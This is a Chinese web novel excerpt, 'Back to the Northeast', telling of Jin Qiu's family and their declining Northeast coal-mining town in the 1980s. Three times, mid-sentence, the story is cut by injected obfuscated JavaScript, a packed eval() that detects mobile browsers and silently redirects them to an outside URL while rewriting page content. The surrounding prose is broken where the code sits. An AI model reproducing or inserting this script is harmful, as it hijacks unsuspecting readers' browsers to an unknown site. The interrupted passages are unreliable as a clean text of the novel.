《回到东北》 1. 楔子 金秋,39岁,带着两个孩子,从上海回到了她的老家——黑金镇,东北一座破败的小镇。 现在是凌晨3点,外面风雨交加,整座小镇处于一片灰暗中,正像她一样,心里的雨一直下。 这座小镇曾经辉煌过,在上世纪的90年代,它曾经是整个省甚至全国煤炭供应的主要集中地,也因为盛产水稻,而闻名于全国,是那种你走到哪儿提到它的名字,别人都知道的程度。当别人还只是走路上学,或者骑着二八大杠上学都觉得荣耀的时候,金秋是每天免费坐着火车上下学的,那时省城的老百姓恐怕很少会坐上火车,但这座小镇的火车已经通往好多村甚至城市了,村民们下田种地,都可以搭一段顺风火车。 当时小镇有多有钱呢? 从金秋记事起,每年春节冰灯展和大年三十的烟花秀都是必备项目,那时100米长的冰滑梯,是她每年都能玩到的。临近春节,巨大的冰城堡在小镇中心广场早早就会有工匠师傅在搭建,金秋那时最喜欢的就是在冰块里找鱼为乐。它们在水里游的姿势各不相同,就那样冻结在一瞬间,在冰块里面安上各种颜色的灯,它们就好像在奇幻的五彩世界又活了过来似的,它们在冰的世界,在人的世界活了过来,成为了艺术品。 当全国普遍工人工资只有每月十几元时,小镇的煤矿工人每月最高却能达到几百元,他们在用命挣钱。 老一辈儿人说,他们是从阎王爷手里讨钱。 事故,对于小镇居民来说,已经见怪不怪了。 最严重的一次,好几栋矿工家属楼的媳妇们在一夜之间成了寡妇,至今那地方仍被叫做“寡妇楼”。但是矿里最不缺的就是钱,不出一个月,又有一批不怕死的年轻男人,源源不断地把煤从地底下往出运。 所以,小镇的人一直过着最奢侈的生活,就怕活了今天没明天。所以,这种豁达的生活观也刺激了当地的经济发展,当上海、北京建起了商业街、公园、动物园、歌舞厅时,金秋的小镇一样不少的,全都复制过来。 小镇的中心街道两旁,建起好几座大型商业楼,公园里建起比房子还大的猴笼和鸟笼,供人们免费观看,天女散花的喷泉池,在夜晚,会在五彩的灯光下喷出绚烂的喷泉。 小镇上的人们热烈地活着,有人去省会串亲戚,回来总是说:“屁,还省会呢?都赶不上咱镇一半好!” 金秋就在这样的小镇长大,她的爸妈乘着改革开放凶猛的经济浪潮,在四五队先是开了一家鞋厂,后又跑到镇上,开了一间鞋帽服装店,成为小镇的时尚前沿。所以,金秋从来在同学中,都是最光鲜亮丽的那一个。 她的妈妈是个美人,爸爸乘着火车去省城进回来的裙子,只要妈妈穿上,往店门口一站,当天就可以脱销。 他们是成功的二道贩子,金秋因此也过上了富裕的生活,受到了良好的教育。 虽然小镇的百姓们自己苦,但绝不会苦孩子。小镇加上周边十几个村,总共不到20万的人口,小学有两个、初中有三个,最大、最平整的一块地给了唯一的高中,米黄色的楼群,外加上宽敞的操场,以及一座古香古色的依山而建的后花园,亭台楼阁,荷花满塘,绝对是整个小镇最大、最漂亮的地方。 就连学校的围墙上,都找了画工,精致地画上山水画,并配上激励的词语。可以说,正像当时孩子们唱的一样,“我们是21世纪的接班人”,想想就值得骄傲。 学校旁边还用当时最先进的绿色琉璃瓷砖为顶,盖了一座几乎通体玻璃的“少年宫”,绝对是全国领先的新潮建筑。里面可以学钢琴、声乐、萨克斯、舞蹈……,城里有的,这里一样不少。 就连可以容纳上千人的电影院,也在镇中心建了起来。像是《烛光里的妈妈》、《一个独生女的故事》……这些新出的,极具教育意义的电影,金秋的小学没少组织看。 生活在这样的小镇,老百姓们都很知足,即使偶尔井下会出现事故,似乎也是瑕不掩瑜了。实在缺钱就去挖煤卖命,等攒够了钱,再做点小买卖,是当时大部分人的想法。 所以,人们热爱这座小镇,就像热爱自己的命一样。 即使是现在小镇老了,地下的煤已经挖空,曾经的辉煌已经不再,商业街上的楼房都已经破败,就连每天最忙碌的火车也停在长满野草的铁轨上,被雨水冲刷着,流了一地的黄澄澄的溴水。 当井下的机器全部停止运转,整座小镇似乎也停了下来,一切都安静了,变回了一座再普通不过的小镇。 但是老一辈儿的人还是爱他,爱他曾经的繁华和喧闹,也爱他如今像老人一样的安宁,因为毕竟他们也跟小镇一样,老了,再也热闹不起来。 年轻人,多数都去离小镇半小时车程的市里生活了,他们住着30几层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718180|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的电梯房,继续繁华着,逛着崭新的商场,在摩天轮里俯瞰车水马龙。 小镇渐渐地被遗忘,破旧的楼房被判定为危楼,人们都搬了出去,曾经最热闹的百货中心,也都已经人去楼空,长满了杂草。 一切都被遗忘了,似乎连拆这些破旧的楼,都懒得拆了。 它们就像一座座见证辉煌历史的牌坊,就那样摆在那,任风吹雨淋、日头暴晒,等着它们自动化为碎渣。 金秋家的服装店搬迁了,搬到大路旁边的一家小店,妈妈也老了,每天穿着花花绿绿的老年衫,坐在门口,跟着她的老相识打招呼。 日子就这样平淡如水地过着,时间不会因为你的繁华或破败而作任何停留。 金秋觉得,她就是这座小镇,这座小镇就是她。 爸妈用他们的青春,用他们的一切能力,奋力托举她,让她从小学声乐、学钢琴、学书法,上最好的学校,穿最漂亮的衣服,请最好的家教老师。 她也不负众望,一路顺顺利利考上上海一所重点大学。金秋仍然清晰地记得,她的升学宴有多豪华。爸爸当时请了市里最知名的婚纱影楼来给她录像拍照,但是金秋至今一直没有勇气看那盘录像带。 作为小镇里比较知名的个体户老板,爸爸在小镇最大的酒店一楼,席开30桌宴请宾客。金秋从来没见过爸爸那么高兴过,比女儿结婚还要高兴。光是门口大大的红拱门就立了5个,把那一路都染得红彤彤的,上面写着“恭喜爱女金秋考上上海**大学”,古代的状元恐怕都没金秋当时轰动得大。 还记得爸爸喝得满脸通红,端着酒杯大声宣布: “全省就招3个人,我女儿分数第一!” 大家都附和道: “这得多大的雨点儿,能淋到咱们头上啊!你女儿真是才女!” 用爸爸的话说,他当时真算是光宗耀祖了,生出金秋这样给他长脸的女儿,也不枉她爷爷给他起名叫金光耀。 他们兄弟几个顶着“光宗耀祖”的名,一辈子没做到的事,让金秋做到了。 当时他不会想到,20年前有多给他长脸的女儿,20年后,就会多么给他打脸! 人都说,知识可以改变命运,金秋觉得,她绝对是最失败的那一个,是最具有代表性的反例。 要说金秋,得先从她出生的那年月开始,那是上世纪八十年代。 2. 80年代 东北十月的大地上,凌晨5点就可以看见霜花儿了。 四五队里谁家的媳妇勤快,从烟囱就可以看出来。 金老五的媳妇红喜,早早就趿拉着棉拖鞋,披着小棉袄,把尿桶拎出来倒在了茅厕里。 她身后开着的门内,冒出汩汩白烟,灶上的锅欢快地冒着蒸汽,烟火气十足。 红喜抬头瞥了一眼上院金老三家的烟囱,一点儿动静也没有,她嘴角带着一丝笑进屋了,那些烟也跟着她一起回屋暖和去了,只留下没来得及挤进屋的一丝烟,游走在冷空气里,瑟瑟发抖。 “老三,还不快给我起来,太阳都照屁股了,真是比猪都懒。” 伴随着敲窗户的咣咣声,金老爷子的大嗓门儿,传遍了上下院。 此刻,红喜正在灶上刷着锅,旁边是一盆已经和好的苞米面,听见老爷子的骂声,她拿着刷锅刷子到门外去甩了甩,老爷子的骂声天天听,就像听那一早打鸣的公鸡,不听两句,似乎没法开启新的一天似的。 红喜随即喜滋滋地迈着大步,赶紧闪进屋内,盛一勺焦黄的豆油沿着锅沿淋一圈,揪起一团苞米面,团巴团巴,动作娴熟地啪啪贴在锅边。 金家在四五队里算作大户,五兄弟两姊妹,七个孩子都被金老爷子养大成人,自立门户,过得还不算差,在队里算是上等人家。 你要问,为什么叫“四五队”而不是什么村,其实是有村名的,叫“大兴村”。只是成立生产队吃大锅饭的时候,村改队,叫二五队、三四队、四五队、六七队叫着顺口又好记,大家后来竟然连村名都快忘了。 这些个队以及腰堡村、卡子沟村,还有零星的叫不上名字的小村庄,组成的镇就叫黑金镇,至于为啥叫黑金镇,是因为老早就发现这旮沓地下有黑黄金——大煤块子,煤多到什么程度呢,没日没夜的从地底下往出挖煤,下井的工人说几十年都挖不完。 “那煤层厚的啊,跟山似的”。 运煤的汽车以及火车走过,又黑又亮的大煤块掉在路边和铁轨旁,很少有人捡,农村家里过冬烧火,玉米秸秆都烧不完,没人愿意烧那“呛人”“冒烟”的玩意。 而且谁走路也不带袋子,低头捡那黑金子,倒弄得手上、身上埋了吧汰的,如果确实想要烧煤,随便让亲戚家下井的大侄子、小外甥带回来几袋子,跟玩儿似的,不稀奇。 再不济,就去那一堆堆的煤矸石(煤矸石是采煤过程和洗煤过程中排放的固体废物,是一种在成煤过程中与煤层伴生的一种含碳量较低、比煤坚硬的黑灰色岩石。)山上,拿个小耙子随便扒拉几下,一会儿就捡一袋子煤。 更有那胆子大的,直接去停在路边的运煤火车上,装上一袋子。即使碰上了管事儿的,也都是乡里乡亲的,那管事儿的说:“咋上次那些烧没了?” 那大大方方拿煤的,拍拍手上的煤渣子,笑着说;“嗯呢呗,平时也不用,这玩意儿做出来的饭不好吃,就晚上压炉子用。”然后,他就大大方方,大摇大摆地扛着一袋煤走了。 就好像这东西原本就长在这片土地下,生活在这片土地上的人都是它们的主人似的,所以这怎么能叫偷呢? 没人把那黑乎乎的煤块子叫“金子”,所以大家也很少叫“黑金镇”。 谁要是去镇上买点东西啥的,别人都会问一句“上矿去啊?” 就是镇上发生点啥新闻,大家也都是说“听说矿上……” 所以就跟这地方村不叫村一样,叫“队”,镇也不叫镇,叫“矿”。 老金家所在的四五队,是镇上最大的村,离矿上最近,走路也就十几分钟。 金老爷子就是金秋的爷爷,原名金满堂,年轻时便当上了“大兴村”村长,虽然个头不高,但说话办事很有分量。 而且最主要的是,金家自来就是村里的“贵族”。 金老爷子的老子被扣过大帽子,听说家里满清皇族后裔的家谱被烧成灰烬,雕龙秀凤的箱笼被劈成烧火柴火,插着帽樱的青花瓷以及一些杯盘器皿也碎成了渣。 只留下缺了口的一方砚台,听说怎么摔摔不碎,看那上面没有什么“封建残余”的字迹就那么着了。 有传言,这方砚台只有在注入水之后,才会在砚台底部显示出字迹,更有传的神乎其神的,说那字迹正是乾隆的真笔。 金老爷子的爸爸死得很凄惨,妈妈受到刺激也成了村里出了名的疯子,最后不知所终。 至今,金家充满传奇又悲惨的历史,仍然是大家茶余饭后的消遣。 89岁嘴里没剩几颗牙的何老爷子,坐在小马扎上昏昏欲睡时,只要旁边人提起老金家,他一个激灵像回了神儿似的,咂着口袋似的满是褶的嘴,卯大了劲儿地嚷嚷着: “哎呀,金家啊,哎,他家可遭老罪了,人家那可是皇上的亲戚,那家伙给打的,棍子打折好几根儿,我亲眼瞅着的么!” 他女儿在旁边择菜,抓起旁边刚擦过手的,泛着黄渍的抹布,给老爷子擦了一把嘴角的哈喇子,冲着她爸耳边大声喊道: “爸,你说多少遍了这事儿,耳朵都要起茧子了!” 老爷子狠劲一拨楞,生气地说道:“咋,你还不信我说的咋的,你们谁也没看着,就我看着了。” “行,行,你看着了!” 他女儿笑着接着择菜,跟旁边人使了个无可奈何的眼色。 大家都见怪不怪,如果有那外乡来串亲戚的,好奇接茬儿,那老爷子更来了精神,连带着把金家来到村里那天的情景都要描述一遍,什么光是拉家什的马车就好几十辆,金老太太当时还是年轻的夫人。 “那长得跟天仙儿似的,那不,老赖他爹,为了看她一眼,爬墙头,一头栽粪坑里了,死了么!” 老爷子嘴角带着笑,似乎又年轻了一样。 要是有人问“你老看到过没?” 他一定会以一幅完全不在乎的样子,说道:“嗨,早看够了,后来她疯了之后,到处走,别说是穿衣服的样子,就没穿衣服的样子,我也都看着过!” 听者发出一阵哄笑,老爷子兴奋地脸红脖子粗。 他女儿不干了,连忙推搡着父亲说道: “又开始瞎说了,让人家听着成啥事儿了,行了,我看你老晒太阳晒迷糊了,赶紧进屋凉快凉快去,睡会子觉吧!别一天净瞎嘚嘚!” 老爷子耳朵背,也听不清女儿在他耳边说啥,只看着瞧热闹的人咧着嘴笑,还以为又说他坏话了,大声嚷道: “我可都是亲眼看着的,你还还不信,我说啥你都不信,我发现!” 拗不过他女儿的大力,老爷子一边嘟囔着一边被架回了屋,直到躺到炕上了,还唉声叹气地说着:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718181|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎,都过去了,谁都不爱听这陈芝麻烂谷子的事儿了。” 不一会儿又愤愤地说:“哼,等过几年,我这把老骨头一散架子,你们想听也听不着喽!” 渐渐的,窗外的蛐蛐声渐渐盖过老爷子的碎碎念,鼾声也就从敞开的窗户里传了出来。 金满堂还有一个哥哥,一个妹妹,哥哥也在大兴村安了家,时不时还需要上弟弟家借这借那,因为这,哥俩处的也不是很亲热。 妹妹小时候就被村里的知青好心领养了,听说在北京成为了一名知识分子。但是金满堂从来不提家里的任何事,如果有人问,他也只是默不作答,直到给问的人问急了,也不管对方说的啥,他就只似笑不笑地抽抽嘴角。 所以总有那好事儿的,故意夸张地问他: “哎,你妹妹现在应该成了大领导了吧?” 金满堂不言语,他就传出去说: “哎,我问他了,他点头了,命这玩意可真是哈,大小姐的命到哪都是富贵命。” 村里人对金家的态度,属于既好奇又同情,带着敬畏又带着一丝嘲讽,复杂到连他们自己也不知道,到底是喜欢还是嫉妒还是可怜,总之就是讨厌不起来。 金满堂也要强,啥话不说就是闷声干。下地干活,他第一个去最后一个回,养牛属他家的牛最壮实,谁要借牛,他都是人牛一起借,自己也跟着牛去干活,一点儿不拿架,借牛的不好意思,总要给点报酬,或是一袋米或是几个土豆,他也二话不说都拿着。 那给米的媳妇听说别人就给了几个土豆,背后说着: “嗨,早知道咱也那么的了……” 那做丈夫的就会说道: “哎呀,行啊,他也不容易,他爹娘都死的早,咱可不做那缺德事儿。” 就这么的,金满堂处处倒得着大家的同情似的爱怜,再加上他起早贪黑,吃苦耐劳,外加上脑袋挺活泛,赶着牛车倒腾点山货,家业慢慢丰厚起来。 等到老村长卸任,大家投票选村长那功夫,大家脑袋里第一个想到的就是他,似乎便宜了谁都没有便宜他,让大家觉得公平。 更让人不可思议的是,金满堂却一再拒绝当村长,这让村里人更加坚定了,必须是他当村长的决心。 直到老村长三番五次上门劝说: “年代不同了,现在讲究民主,咱们村必须严格按照选举结果来执行。” 金满堂咧着嘴说道: “俺家成分不好,村长你是知道的。” 老村长一再保证: “那都是过去了,说起来咱们村儿过去对你们家有做的不对的地方,全当补偿了,你要是不答应,就代表着还记仇不成。” 老村长眼睛一立,金满堂就只剩下“没有没有”的唯唯诺诺了。 金满堂有点儿文化,虽然之前故意在写字时写的草一些,但是依旧被别人描述成“龙飞凤舞”,更有人夸张地往出传说:“那字儿竟然有几分乾隆真迹的样儿”,而听的人总会揶揄道:“得了吧你,你见过乾隆真迹吗,搁这吹!” 那个人就会支支吾吾地说: “我看过他重孙子的重孙子的就行,咋滴?” 俗话说,众口铄金,三人成虎。 十里八村的人都知道四五队有个“乾隆后裔”了,金满堂的名气越来越响。 3. 80年代 就连金满堂自己,也越来越自信起来。 至于他家跟乾隆搭不搭得上边儿,他压根儿不去想,反正族谱也烧了,至于他们传的什么砚台,他也压根儿没见过。家里发生变故后,除了勉强还留下一间房外,其他什么都没了,家里穷得叮当响,他们好不容易在后园种点儿地,也被那些半夜来他家偷偷寻宝的人给挖得乱七八糟,甚至连他家的茅厕也被撅了个底儿朝天。 他对于以前的记忆,只有饿肚子。金夫人在一天早上睡醒后,就疯了,嘴里自言自语地,一会儿哭一会儿笑。他们还不至于被饿死,完全是受着以前家里帮工的帮衬,有时一开门,门口会放着一碗高粱米水饭,那真是堪比天鹅肉一样的存在。 哥哥享受过好日子,受到打击后,差点儿寻死,后来一户祖上三代贫农的“根正苗红”的人家,不嫌弃他儿子,让他儿子当了上门女婿,全家也总算活命。 金满堂完全靠着自己的双手吃饭,几年下来,白面书生也成了黝黑的庄稼汉。 金满堂战战兢兢地当了几年村长后,发现没有啥生命危险,渐渐地胆子越来越大,倒把村里大事小情处理得妥妥当当。 就是两口子打了架,看到他迈进门槛,两口子也不吵了,做丈夫的想着“金家那么大个家业,说没就没,我这没家没业的,吵个啥劲儿?”做媳妇的想着“金家那么金贵的夫人一股火儿疯了,我可别气出毛病!” 所以就没有金满堂解决不了的事儿,村长当的也是让大家心服口服,他不光村里的事儿都管,家里的事儿也几乎都由他做主。 四个儿子媳妇便都是他给找的,他到卡子沟里相中侯家能干的大女儿,早早就给娶过来持家。 老二媳妇算是他比较费力讨进来的。她是村里的会计兼卫生员,又是高中毕业,眼大肤白貌美,在村里耀眼得跟一颗明珠似的。 她的名字也好听,白小双。她还不是本地人,从东北沿海地区过来的女人,在七八十年代的中国,跟上海人一样高不可攀。 白小双在村支部办公,总有一帮年轻小伙子们去献殷勤,这可把金满堂急坏了,生怕这朵花儿被哪头猪给拱走了。 金家老二绝对是金家最帅的儿子,浓眉大眼身板笔直,只可惜远在外地当兵,不曾见过这个新来的女会计。 金满堂每天在村支部,主要的任务就是看着白小双,撵走她身边的蝇营狗苟。 金老爷子老奸巨猾,以档案需要照片为由,把白小双的一张小2寸照片弄到手就给二儿子邮过去了。 金家老二一看老爹做主,而且还是美女一枚,立刻修家书一封,内附情书和照片,就到了白小双手里。 老二在部队的工作是抄黑板报,一手好字,又极具文笔,几封信就把白小双的心给套住了。金老二一退役,就回家抱得美人归了。 老三媳妇杏花也是老爷子看好的。老爷子找儿媳妇标准从来都是美貌第一位,自己现在大小也算是村里的名人,五个儿子势要娶到十里八村五个最美的媳妇,以彰显他一村之长的地位。 可惜老三媳妇除了好看,就没别的优点了。因着这个原因,老爷子终于认识到,还是要淳朴能干又漂亮的儿媳妇才行,于是跑到牛角山里,把山里妹子红喜定为老五媳妇。 老四媳妇是唯一的例外。金老四退伍后,在市里照顾生病的姥姥,与同病房照顾妈妈的城里姑娘慧娴一见钟情。 金老爷子能摆布了村里的姑娘们,一看到儿子领回来的城里姑娘,就只剩点头哈腰的恭敬了。 可就像《红楼梦》里老太太的大儿子贾敬说的话“天下父母的心能有几个不是长偏的?” 金满堂五个儿子两个女儿,总是一部分会得到偏爱,另一部分靠自力更生了。 大儿子金光宗早早辍学去水泥厂做力工补贴家用,后来成家后,大儿媳妇玲子就掇撺着丈夫分家,自此再没得过金老爷子待见。 虽然大儿媳妇肚子争气,一连生了两个儿子,可金老爷子和老婆子没帮忙带过一天孩子。金老婆子是个完全没主见的人,在她的世界,三从四德就是完全听老爷子的。 大儿媳妇是个要强的女人,自己带着两个年幼的孩子,还要下地干活。一次她把两个孩子锁在屋里,自己出去干活。回家时,发现尚在襁褓里的老二差点被老鼠们给吃了,脸上、手上、身上都是被咬的伤口。直到现在,大儿媳妇回想起来还是会哭出来。 二儿子金光耀和白小双成家后,就在村边找了块地搭起了一间茅草房。退伍转业后,他打算自己创业,可又不会别的手艺。记得之前见过金老爷子做干豆腐,他凌晨两三点就爬起来磨豆子,可是做出来的干豆腐总是太厚,推出去卖也没人买。二儿子打算向老爷子借十块钱,再买些豆子继续做,钱没借来还被骂个狗血喷头。 白小双人长得美又聪明,第一胎就生了个儿子,大眼睛高鼻梁,完全继承了父母的好基因。可是因为家里条件艰苦,白小双早早就没奶了,儿子从小便长得弱不禁风,为了期盼他长得结实点,起名就叫金山。 金光耀想过了各种挣钱的办法,借钱养兔子、种植中草药、卖菜卖水果,可结果都是赔得一塌糊涂。 金光耀只得收起发大财的想法,老老实实给别人开大货车去了。他是个不安分的人,开了不到两年,就自己想当老板。他用攒下的钱又借了一部分,买了自己的第一部四轮拖拉机,自此家里的生活才渐渐有了起色。 1983年的秋天,当后山上漫山的红叶映红了半边天的时节,女儿金秋出生了。金光耀的事业也迎来了硕果累累,慢慢走上了顺利的发财之路。拖拉机卖了又换了一台大货车,在村里率先买了电视机。总算攒下一些钱,他又开始打算盖一座全村最大的庭院。用推土机推平整一块地后,金光耀把在部队学到的知识都用来盖房子上了。 院内两条墙,一条为龙一条为凤,大院门也是龙凤装饰,侧开一小门供平时出入。占地面积五百平米的大瓦房,开三个门,共有10个房间,全都是瓷砖铺地,就连浴室都贴上了亮亮的瓷砖。金光耀把辛苦挣到的所有的钱都用来盖房子了。在他看来,这是他的子子孙孙们一辈子住的地方,必须整的像样。 金光耀在四五队来说算是一个文化人,在部队就写得一手好毛笔字,又懂得一些周易八卦。他是在后来吃了一些亏后才懂得低调的,而这恰恰是在农村,在兄弟中最需要的。 金光耀建成的龙凤大院,轰动了全村,当白小双穿着的确良白衬衫,在院里花坛种上一排排姹紫嫣红的花时,全村的男女老少都红了眼,当然也包括他的四个兄弟。 这天,金老爷子难得到他的大院参观,进了屋直接拖鞋上炕,坐在炕头上发话了: “老二啊,你现在混的好,你也得帮衬帮衬你的兄弟们啊,你的头脑是他们中最活泛的,咱们老金家就靠你了。” 金光耀从来没觉得自己在老爷子心中这么有分量,满口答应下来。 第二天,老三金光祖就踏进院门了: “二哥,咱爸让我跟着你跑车学开车,你带带我。” 说着漏出满嘴被旱烟熏黄的大牙笑起来。 金光祖在四五队是个懒得出了名的人,自从娶了媳妇后,就更懒了,因为他媳妇比他还懒。他们每天都是日上三竿才起床,吃饭就去金老爷子那屋蹭。 他是金老爷子唯一留在身边一起生活的儿子,也不知道是因为从小长得胖乎乎招人爱,还是因为什么原因。老爷子虽然打他骂他,却还是最宠爱他。 金光祖和媳妇既不下地干活也不做饭,金老爷子天天早上五点多就在他们两口子窗户边骂,骂完之后却还照样把饭端到他们那屋。 老三媳妇也生了一儿一女,可相比较老大老二家瘦弱的孙子,老三家的大胖孙子洋洋才是金老爷子的亲孙子。 洋洋不爱吃鸡蛋黄,老三媳妇就扒一大碗的鸡蛋白给他,蛋黄倒到外面去喂鸡。这种奢靡浪费的新闻一出,整个四五队都轰动了。 当金老爷子的长孙在算着日子才能吃上一个鸡蛋时,洋洋已经吃够了。为此,大儿媳妇带着两个瘦成麻杆的儿子曾去老爷子家闹过,撒泼打滚换回来一小筐鸡蛋,娘三个回家去了。 这事儿闹得金老爷子这个村长,很没面子,可又拿那个大儿媳妇没办法,后来他找到金老大敲边鼓,暗示着“得管管你那媳妇”,金老大不是没试过,可每次玲子都是搞那“一哭二闹三上吊”的把戏,搞得老爷子以后再不敢说话了,没事儿还得去给送几个鸡蛋,以免再生是非,金老大也被收拾得服服帖帖。 俗话说“爱哭的孩子有奶吃,懂事的孩子没人疼”。 老五媳妇红喜是从大山里出来的,她从来都是安安静静的,不吵不闹。虽然她就住在老爷子和老三房子的隔壁,她也最了解金老爷子有多惯着那一家人,可她只专心喂她的那十几头小猪。 虽然是一墙之隔,老三和老五家过着完全不同的生活。老五金光余是五兄弟中年龄最小的,个子也是最矮小的。他从小就跟在四个哥哥后边跑,有时跑着跑着就跑丢了,等着四个哥哥回到家把饭吃个精光,他就只能刮点儿锅底吃。 所以,从小他为了能生存下来,只长了心眼儿,没长个儿。 每天,一到老五媳妇把地里的烂白菜叶子捡回来开始剁猪食时,他就把破外套穿上溜到村里去跟别人嚼舌根去了。约摸着他媳妇把猪喂完了开始做饭时,他就叼着个烟卷拐进院里了,到猪圈看看猪长没长肥,就进屋盘腿坐炕头等饭吃了。 老五媳妇把一盘子炒鸡蛋端上桌,又把碗筷送到金光余手里,他皱皱眉: “你这鸡蛋是用猪油炒的吧,得用豆油啊,炒得金黄,要不白瞎这鸡蛋了。” 每到饭菜端上桌,金老五都像美食评论家一样先评判一番,才像勉为其难似的把菜送到嘴里。 “有能耐你也像上院似的把鸡蛋倒喽?” 老五媳妇平时就当作没听见,从来不回应他的话,可今天却一反常态,倒把金光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718182|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余噎住了。 他虽然就和金老爷子住上下院,但他的儿子却从来没得到过爷爷给的一个鸡蛋吃。他心里也有恨,那又能怎样呢,他只能期待着圈里的猪快快长大,好卖上个好价钱。 金老四金光雄退伍后只在市里得了个看管仓库的工作,因为没有钱,只能做慧娴家的倒插门女婿,和老丈人、丈母娘、小叔子住在一个五十多平方米的楼房里。 作为金家唯一的一个城市户口,还住上楼房的人来说,金光雄无疑是老金家最有出息的一个。他二哥再能折腾还是在农村,所以每次金光雄带着城里媳妇慧娴回四五队,都会受到金家最大的欢迎,这也是金家七兄妹聚在金老爷子家吃饭的难得机会。 四儿子一进屋,金老爷子就吩咐老婆子杀鸡,让金老三把老大老二老五,还有俩姑娘,一大家都叫过来吃饭。除了老三老四媳妇,其他三个媳妇都在厨房和婆婆忙活着。 金老婆子把攒了个把月的鸡蛋拿出来,用黄豆油炒成金灿灿一盘子,放在老四媳妇旁边,又紧着把炖得软烂的小鸡炖蘑菇往四儿子碗里夹。 金家的孙子孙女外孙女们,围在炕上的一个小桌上吃饭,他们就像吃大锅饭一样,都把自己碗里的肉堆得高高的,明显都是在家里经过家长“教育”有备而来的。 孩子们把饭吃完,就出去疯跑了,这些大人们才抹抹嘴开始唠起家常。 四儿媳妇自带城里人的说话语气,可是扬着下巴说话的样儿,别人能忍,大儿媳妇玲子是断不能忍的。也因为她生养了两个儿子,而老四媳妇结婚一年了却一点儿动静都没。 玲子嗑着瓜子,笑着说: “慧娴啊,咋还不要孩子呢,咱爹妈可都急了,是不是住楼不方便咋的?” 这话一出,慧娴的脸一下子红了。 老爷子的俩姑娘娟子和燕子,没心没肺地哈哈大笑起来。 虽然老大媳妇的话不好听,可却正中金老婆子的心事,她赶忙插嘴: “别着急,这事儿能急来的吗?要不试试偏方,我这有个方子,保准生男孩!” 慧娴不做声,当做没听见走开了。 玲子的嘴角一咧,哼了一声。 转头瞥见金老婆子尴尬的表情,她倒乐得看笑话。 娟子是金家的大姑娘,继承了金老爷子的优良基因,浓眉大眼,生的很是妩媚。 她又是个极其聪明的女人,只是这聪明用在了算计人的身上,就是浪费了。 她从懂事起,就知道利用自己的美貌获得她想要的东西。先是和当地最霸道的地痞头子刚子处对象,坐在摩托车后面裙角飞扬时,也算是风光无限。 金老爷子虽然不同意,可奈何那些舞刀弄枪的地痞们不好惹,也就作罢。 可埋下的炸弹,总有爆炸的那一天。 到底,娟子受够了刚子的火爆脾气,提出分手,躲回金老爷子家。 刚子集结一大帮弟兄就杀了过去,可把金老婆子吓个半死。 刚子怒吼着“你敢跟我分手,信不信我杀你全家!” 正当全村上下都打算看热闹时,娟子扭着腰肢,一脸媚笑地从屋里走了出来。 “怎么?我生气还不行回个娘家啊,你来接我,我不就回去了吗?” 说着,她把身上最柔软的地方贴了上去,刚子立马就像温顺的一条狗似的,舔着脸等着她在脸颊上亲一口。 这把旁边看热闹的都吓傻了,女的嘴里骂骂咧咧,男的嘴里也骂骂咧咧。 只不过女的是真骂,男的是羡慕嫉妒恨。 娟子是什么女人啊,她从来不在乎村里的风言风语,也不在乎别人口中的“这样姑娘谁敢娶啊”这样的话,她是个最会见机行事的聪明女人。 这场风波过去不久,刚子就在和另一伙儿地痞火拼中丢了命,娟子在他的葬礼上掉了几滴奢侈的眼泪,不出几天就又花枝招展的扭在村里的大道上了。 四五队(大兴村)离镇中心最近,金秋家的小镇地底下有很多煤,随着一座座煤矿的建立,农民们除了可以种地吃饭,还可以下井挣钱。 虽然下井危险,瓦斯爆炸事故发生时,死了上百人,导致那一片新盖的煤矿工人家属楼至今还被叫做“寡妇楼”。 但是“人为财死,鸟为食亡”。 那一个月几百块的工资,比那些在地里刨土一年挣得可多的多。所以,农村里,只有穷人家的姑娘找对象才找下井的,但凡有点儿经济基础的家庭,都不愿意把姑娘嫁给“脖子拴在裤腰带上”的下井工人。 可偏偏娟子天不怕地不怕,领了个下井的小伙子郝龙回了家。 金老爷子虽然心里不愿意,可考虑着娟子之前也被刚子破了身,在农村也实在难找对象。看着这个郝龙老实巴交的,倒还凑合着。 就这样娟子也嫁了人。她妹妹燕子没多久也找了个玻璃厂的工人结了婚。两姐妹都住上了矿上新盖的工人楼,各自都生了一个女儿,也算是了了金老两口的心愿。 4. 80年代 中国的八十年代是个好年代,改革开放的大潮,让多少走投无路的人赶上了,率先成为了万元户。 金光耀的下院老耿家世代务农,到了耿长富这一代,就再也不想在地里刨食了。 耿长富排行老五,人长得瘦高个,媳妇秀雅从三四队(上西村)嫁过来后,生养了两女一儿。这三个孩子跟金光耀家的兄妹俩年龄相仿,经常在一起玩耍。两家大人也因为是邻居,私交比较好。 耿长富眼看着上院开上了自家货车,土房变大瓦房,拿着锄头的手早就不安分了。 虽然老耿头儿警告过他: 